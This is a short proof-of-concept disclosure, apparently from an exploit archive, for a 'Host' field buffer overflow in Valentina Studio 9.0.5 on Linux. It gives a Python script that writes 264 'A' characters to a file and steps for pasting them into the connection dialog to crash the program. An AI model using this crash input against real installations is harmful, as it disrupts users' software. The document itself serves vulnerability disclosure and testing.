Valentina Studio 9.0.5 Buffer Overflow

`# -*- coding: utf-8 -*-  
# Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)  
# Date: 20/02/2019  
# Author: Alejandra SA!nchez  
# Vendor Homepage: https://valentina-db.com/en/  
# Software Link: https://www.valentina-db.com/en/all-downloads/vstudio/current/vstudio_x64_lin-deb?format=raw  
# Version: 9.0.5  
# Tested on: Linux kali amd64  
  
# Proof of Concept:  
# 1.- Run the python script "vstudio.py", it will create a new file "vstudio.txt"  
# 2.- Copy the text from the generated vstudio.txt file to clipboard  
# 3.- Open VStudio  
# 4.- Go to File > Connect to...  
# 5.- Click on Valentina Server or SQLite Server  
# 6.- Paste clipboard in 'Host' field  
# 7.- Click on button -> Connect  
# 8.- Crashed  
  
buffer = "\x41" * 264  
f = open ("vstudio.txt", "w")  
f.write(buffer)  
f.close()  
`